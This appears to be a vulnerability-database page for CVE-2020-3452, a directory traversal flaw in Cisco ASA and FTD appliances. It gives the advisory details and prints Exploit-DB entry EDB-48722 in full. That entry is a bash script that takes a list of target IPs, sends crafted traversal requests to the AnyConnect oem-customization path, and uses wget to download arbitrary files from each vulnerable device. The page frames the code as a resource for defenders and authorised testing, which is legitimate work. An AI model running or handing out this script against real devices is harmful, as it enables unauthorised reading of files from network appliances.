CVE-2020-3452

unknown KEV

Published 2021-11-03 · Modified 2021-11-03

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CVSS v3

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CVSS v4 NEW

—

not yet in upstream

VIR risk

2.5

Description

Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an improper input validation vulnerability when HTTP requests process URLs. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.

CISA KEV

Vendor: Cisco
Product: Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)
Due date: 2022-05-03

Predictions

Exploit likelihood

99%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-48722 webapps hardware text · 3 KB

0xmmnbassel · 2020-07-28

Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion

text exploit Source: Exploit-DB

# Exploit Title: Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion
# Google Dork: inurl:/+CSCOE+/
# Date: 2020-08-27
# Exploit Author:  0xmmnbassel
# Vendor Homepage: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
# Version: Cisco ASA Software  >=9.14 except 9.11   Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60
# Vulnerability Type: unauthenticated file read
# CVE: CVE-2020-3452


#!/bin/bash


read="%2bCSCOE%2b/portal_inc.lua"


helpFunction()
{
   echo ""
   echo -e "\t\tCVE-2020-3452"
   echo ""
   echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua "
   echo -e "\t-l for list of IPs in text file"
   echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua"
   echo -e "\t-i for single IP test"
   exit 1
}

while getopts "l:r:i:" opt
do
   case "$opt" in
      l ) input="$OPTARG" ;;
      r ) read="$OPTARG" ;;
      i ) website="$OPTARG" ;;
      ? ) helpFunction ;;
   esac
done



#if $website is empty or $input is empty
if [  -z "$website"  ] && [ -z "$input" ]
then
   echo "Some/all of the parameters are empty";
   helpFunction
fi

#usage


if [ -z "$website"];
  then
  while IFS= read -r line
  do
    name=$(echo $line | cut -c9-19)
    #echo "testing $line"
    filename="$name.txt"
      #echo $response
      status=$(curl -LI  $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read  -o /dev/null   -w '%{http_code}\n' -s)

      if [ $status -eq "400" ]; then
        echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
      else
        wget  "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt

        if [ -s $filename ]; then
          echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
            echo "downloaded!, $line is vulnerable to CVE-2020-3452."

        else
          echo "not vulnerable!"
          rm -rf $filename
        fi
      fi
    done < "$input"
  else

  name=$(echo $website | cut -c9-16)
  filename="$name.txt"

  status=$(curl -LI  $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read  -o /dev/null   -w '%{http_code}\n' -s)
  if [ $status -eq "Bad Request" ]; then
    echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
  else

    echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
    wget  "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
    if [ -s $filename ]; then
      echo "downloaded!, $website is vulnerable to CVE-2020-3452."
    else
      echo "not vulnerable!"
      rm -rf $filename
    fi
  fi

fi

EDB-49262 webapps hardware

Freakyclown · 2020-12-15

Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2)

Source code queued for fetch — refresh in a moment.

EDB-48871 webapps hardware

3ndG4me · 2020-10-12

Cisco ASA and FTD 9.6.4.42 - Path Traversal

Source code queued for fetch — refresh in a moment.

References

https://nvd.nist.gov/vuln/detail/CVE-2020-3452

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.